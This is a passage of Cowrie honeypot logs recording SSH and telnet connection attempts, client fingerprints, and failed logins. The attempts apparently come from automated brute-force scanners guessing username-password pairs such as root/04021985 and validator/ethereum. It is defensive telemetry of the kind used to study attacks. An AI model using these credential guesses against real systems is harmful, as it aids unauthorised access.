ha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:29.864349Z","src_ip":"190.128.201.18","session":"0bc16a01c6f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reporter","password":"reporter123","message":"login attempt [reporter/reporter123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:30.459441Z","src_ip":"190.128.201.18","session":"0bc16a01c6f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.211.95.158","src_port":41720,"dst_ip":"159.203.135.109","dst_port":22,"session":"163f42c4c832","protocol":"ssh","message":"New connection: 91.211.95.158:41720 (159.203.135.109:22) [session: 163f42c4c832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:30.939559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:30.944561Z","src_ip":"91.211.95.158","session":"163f42c4c832","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:31.078107Z","src_ip":"91.211.95.158","session":"163f42c4c832","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:31.606510Z","src_ip":"190.128.201.18","session":"0bc16a01c6f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dps","password":"dps123","message":"login attempt [dps/dps123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:31.626706Z","src_ip":"91.211.95.158","session":"163f42c4c832","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:32.767280Z","src_ip":"91.211.95.158","session":"163f42c4c832","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.46715331077576,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:35.110420Z","src_ip":"172.81.62.90","session":"ce0e1d9ff2c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":56016,"dst_ip":"159.203.135.109","dst_port":23,"session":"8427cbb04e75","protocol":"telnet","message":"New connection: 172.81.62.90:56016 (159.203.135.109:23) [session: 8427cbb04e75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:37.576830Z"}
{"eventid":"cowrie.session.closed","duration":0.004513978958129883,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:37.581204Z","src_ip":"172.81.62.90","session":"8427cbb04e75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":56854,"dst_ip":"159.203.135.109","dst_port":22,"session":"5086efa91fb6","protocol":"ssh","message":"New connection: 2.57.122.238:56854 (159.203.135.109:22) [session: 5086efa91fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:42.534226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:42.538401Z","src_ip":"2.57.122.238","session":"5086efa91fb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:42.639479Z","src_ip":"2.57.122.238","session":"5086efa91fb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"ethereum","message":"login attempt [validator/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:42.943440Z","src_ip":"2.57.122.238","session":"5086efa91fb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:44.048998Z","src_ip":"2.57.122.238","session":"5086efa91fb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":45670,"dst_ip":"159.203.135.109","dst_port":23,"session":"d15cdee76423","protocol":"telnet","message":"New connection: 172.81.62.90:45670 (159.203.135.109:23) [session: d15cdee76423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:44.231219Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":39160,"dst_ip":"159.203.135.109","dst_port":22,"session":"49420424fabc","protocol":"ssh","message":"New connection: 38.93.206.2:39160 (159.203.135.109:22) [session: 49420424fabc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:53.827110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:53.830918Z","src_ip":"38.93.206.2","session":"49420424fabc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:53.881007Z","src_ip":"38.93.206.2","session":"49420424fabc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"04021985","message":"login attempt [root/04021985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:54.040373Z","src_ip":"38.93.206.2","session":"49420424fabc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:55.106115Z","src_ip":"38.93.206.2","session":"49420424fabc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":41842,"dst_ip":"10.17.0.5","dst_port":22,"session":"a079ca649371","protocol":"ssh","message":"New connection: 123.58.215.196:41842 (10.17.0.5:22) [session: a079ca649371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:01.413713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:01.419531Z","src_ip":"123.58.215.196","session":"a079ca649371","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:01.635908Z","src_ip":"123.58.215.196","session":"a079ca649371","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admini","password":"123456","message":"login attempt [admini/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:02.515743Z","src_ip":"123.58.215.196","session":"a079ca649371","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":43648,"dst_ip":"159.203.135.109","dst_port":23,"session":"e57ded9a98fd","protocol":"telnet","message":"New connection: 107.6.151.170:43648 (159.203.135.109:23) [session: e57ded9a98fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:03.505689Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:03.735671Z","src_ip":"123.58.215.196","session":"a079ca649371","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":26964,"dst_ip":"159.203.135.109","dst_port":22,"session":"60260b3bd427","protocol":"ssh","message":"New connection: 194.59.206.2:26964 (159.203.135.109:22) [session: 60260b3bd427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:04.801517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:04.806702Z","src_ip":"194.59.206.2","session":"60260b3bd427","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:04.897252Z","src_ip":"194.59.206.2","session":"60260b3bd427","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:05.013740Z","src_ip":"194.59.206.2","session":"60260b3bd427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.163.206.178","src_port":54580,"dst_ip":"10.17.0.5","dst_port":22,"session":"665a9070ecc8","protocol":"ssh","message":"New connection: 89.163.206.178:54580 (10.17.0.5:22) [session: 665a9070ecc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:10.202516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:10.206972Z","src_ip":"89.163.206.178","session":"665a9070ecc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:10.300446Z","src_ip":"89.163.206.178","session":"665a9070ecc8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:7f:6a:db:a4:fc:51:3f:ad:7d:5a:e0:96:07:28:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/tCKo1/kxhRPanBNQWO+by2BV69XU/HrCw1MefEDX3yCzs6zvELJIVxySB+kKMPxJ4Ydt7pBftNohGrPbvHbBlroi5SjWTEgtRU2tiRda0uZ/+xb9WYvdc8QYMqz+VdLVPKkaEzozM5w3Yib/06GBpr/or81hNDlhC95Krdnb6mGSv9MN0AOAkpXk3V5lcGPBhd2oTtTt9Xg8grlyan3sWKLmckjLHyQJY42RDSpQHGJrmN2AzifaswI+W2jQ7s6osD1EjYV4QeIoI4jca5eov68kKG2SwqxFoiKQvm7kVDonUavn9R9NXsSZ3rl/ohtd9c+rMap1bhJwGAiOwIuv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:7f:6a:db:a4:fc:51:3f:ad:7d:5a:e0:96:07:28:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:10.729720Z","src_ip":"89.163.206.178","session":"665a9070ecc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:7f:6a:db:a4:fc:51:3f:ad:7d:5a:e0:96:07:28:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/tCKo1/kxhRPanBNQWO+by2BV69XU/HrCw1MefEDX3yCzs6zvELJIVxySB+kKMPxJ4Ydt7pBftNohGrPbvHbBlroi5SjWTEgtRU2tiRda0uZ/+xb9WYvdc8QYMqz+VdLVPKkaEzozM5w3Yib/06GBpr/or81hNDlhC95Krdnb6mGSv9MN0AOAkpXk3V5lcGPBhd2oTtTt9Xg8grlyan3sWKLmckjLHyQJY42RDSpQHGJrmN2AzifaswI+W2jQ7s6osD1EjYV4QeIoI4jca5eov68kKG2SwqxFoiKQvm7kVDonUavn9R9NXsSZ3rl/ohtd9c+rMap1bhJwGAiOwIuv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:10.733371Z","src_ip":"89.163.206.178","session":"665a9070ecc8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:06:ba:54:c0:10:44:ea:a6:b1:3a:ea:be:ad:8b:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtEYCMcDDGooC2Mg80l86YrA5jPB0hiQ1mZsNQnIOSKro4RTUy/v8pw11Gr7lbOrVx46f+YAtOe/1/M0fkBJ+3REdicLwzpdK87iStfF0nFglfXJrvUxY9AUU8OfBkER7Tj4V5phxg44UM88wB4kjfZo2S4L62TW96qzLtmKOpNBLXWk6UWBvdxI9pAvZUW09bE+Kf4k0pag3sB1aJrDc3apz9/YJ/bw3Hmq6YvJLIXJCVfsd9htQm5J8+DRikqLRFUFyu1m7294jGyyGVbiC9fsjdAmxhdufav9nWAjqiRed2+omtOH03qFiRB+qg4aC+eXlLlT7ieyC5OQQNk+WV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:06:ba:54:c0:10:44:ea:a6:b1:3a:ea:be:ad:8b:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:10.825279Z","src_ip":"89.163.206.178","session":"665a9070ecc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:06:ba:54:c0:10:44:ea:a6:b1:3a:ea:be:ad:8b:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtEYCMcDDGooC2Mg80l86YrA5jPB0hiQ1mZsNQnIOSKro4RTUy/v8pw11Gr7lbOrVx46f+YAtOe/1/M0fkBJ+3REdicLwzpdK87iStfF0nFglfXJrvUxY9AUU8OfBkER7Tj4V5phxg44UM88wB4kjfZo2S4L62TW96qzLtmKOpNBLXWk6UWBvdxI9pAvZUW09bE+Kf4k0pag3sB1aJrDc3apz9/YJ/bw3Hmq6YvJLIXJCVfsd9htQm5J8+DRikqLRFUFyu1m7294jGyyGVbiC9fsjdAmxhdufav9nWAjqiRed2+omtOH03qFiRB+qg4aC+eXlLlT7ieyC5OQQNk+WV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:10.828344Z","src_ip":"89.163.206.178","session":"665a9070ecc8","protocol":"ssh"}
